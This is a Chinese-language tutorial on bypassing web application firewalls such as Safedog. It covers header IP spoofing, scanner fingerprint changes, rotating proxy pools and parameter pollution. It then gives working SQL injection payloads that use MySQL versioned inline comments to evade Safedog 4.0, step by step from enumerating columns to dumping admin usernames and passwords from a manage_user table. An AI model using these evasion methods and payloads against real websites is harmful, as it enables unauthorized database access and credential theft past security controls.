一、网站防护分类
1.源码防护:
使用过滤函数对恶意攻击进行过滤,绕过思路: ①大小写替换 ②变换提交方式:如get请求变post/cookie请求绕过 ③编码绕过:url编码、基于语句重叠、注释符等
2.软件WAF: 通过访问速度、指纹识别等特征进行拦截;常见软件WAF如安全狗、D盾、云锁、云盾等,软件WAF侧重拦截web漏洞。通过访问阈值的大小判断为CC攻击,进行IP封锁;
3.硬件WAF: 主要防御流量和部分web攻击。常见硬件WAF如天融信、深信服等厂商的防火墙。硬件WAF基于TCP三次握手封锁真实IP;
4.云WAF:
阿里云等
二、 WAF拦截方向
1.基于IP封锁
①基于HTTP请求头封锁IP 使用burp suite插件fake-ip进行绕过
代码语言:javascript复制client-ip:1.1.1.1
x-forward-for:1.1.1.1
②基于TCP请求封锁IP
使用IP代理池不断切换真实IP
2.指纹识别-修改扫描工具特有指纹
每个扫描工具都有特定的指纹,这里说的指纹是指http请求头里面的User-Agent。WAF一旦识别到工具的指纹会直接封锁请求IP,所以在进行攻击时需要修改指纹欺骗WAF,不同工具的修改方式不同,具体百度:
DirBuster:
sqlmap:注入时添加–radom-agent参数,也可以使用–User-Agent="xx”参数指定指纹进行注入攻击
3.访问速度和web攻击 waf存在访问阈值,如果单个IP访问速度过快会被waf当作ddos或者cc攻击从而进行拦截。另外基于web层面的攻击也会被拦截,例如:在web页面进入sql注入或者xss的payload会被waf拦截关键字,进行文件上传时会检测上传文件后缀和文件内容等…
4.总结 从IP封锁、访问速度、指纹信息以及web攻击等多个维度进行bypass。
三、目录扫描
1.子域名查找 子域名查询利用第三方接口查询。避免waf拦截 ①shodan、fofa ②谷歌语法 ③其他接口
代码语言:javascript复制http://z.zcjun.com/
https://phpinfo.me/domain/
https://d.chinacycc.com/index.php?m=Login&a=index
2.目录扫描
使用代理池:ProxyPool-mater
代码语言:javascript复制项目地址:https://github.com/Python3WebSpider/ProxyPool
①本地安装redis,安装教程:
代码语言:javascript复制https://www.runoob.com/redis/redis-install.html
代码语言:javascript复制
②运行代理池脚本,抓取代理IP并筛选然后存放到redis库里面:
代码语言:javascript复制#开启redis服务
cd ./redis
redis-server redis.windows.conf
#运行脚本ProxyPool-master
cd ./ProxyPool-master
python run.py
③运行成功后会在本机开放一个接口从而获取redis库里面的IP,并随机切换:
代码语言:javascript复制接口地址:127.0.0.1:5555/random
④然后利用网站目录扫描脚本调用此IP进行目录扫描,脚本实现方式:
- 加载同级目录字典进行扫描
- 调用本地接口获取代理IP
- 运行脚本,成功bypass
ps:sqlmap使用代理池IP:将IP保存在1.txt里面,使用–proxy-file="c:1.txt"参数进行代理IP切换
四、手工注入
1.参数污染
①注释、空字符、内联注释、脏数据、单行注释、换行符等污染
代码语言:javascript复制access asp空格:
②长度污染:waf拦截长度有一定的限制,一般用与post提交的时候,使用垃圾字符提交内容导致内存溢出:
代码语言:javascript复制
代码语言:javascript复制%%&%%%%%%%%%%%%%%%%%%%%%%%%%
id=1&id=1&id=1&id=1&id=1&id=1&id=1 and 1=1
代码语言:javascript复制
③变换提交方式(服务器支持post、cookie传参)
- 直接get提交被安全狗拦截:
- 变换为post提交方式成功bypass:
2.实例:六条语句bypass安全狗
环境:安全狗4.0 IIS版本 mysql 5.4 IIS 7.5
第一种:特殊数字 内敛注释
代码语言:javascript复制#在1-55000之间找特殊数字,这个数字表示数据库版本。数据库是4.45.09以上版本该语句才会被执行
id=-1 union /*!44509select*/ 1,2,3#
id=-1 union /*!44509select*/ 1,#x
/*!database*/(),3#
ps:我发现在这个区间只要带44的数字都不拦截,不知道这是不是一枚彩蛋。
代码语言:javascript复制#找数字列
showproducts.php?id=-13/*!10444union*//*!10444#*/
/*!10444select*/1,2,3,4,5,6,7,8,9,10
#数据库名
showproducts.php?id=-13/*!10444union*//*!10444#*/
/*!10444select*/1,database#
(),3,4,5,6,7,8,9,10
代码语言:javascript复制#表名
showproducts.php?id=-13/*!10444union*//*!10444#*/
/*!10444select*/1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x7879636d73
代码语言:javascript复制#字段名
showproducts.php?id=-13/*!10444union*//*!10444#*/
/*!10444select*/1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0x6d616e6167655f75736572
代码语言:javascript复制#字段内容
showproducts.php?id=-13/*!10444union*//*!10444#*/
/*!10444select*/1,group_concat(m_name,m_pwd),3,4,5,6,7,8,9,10 from manage_user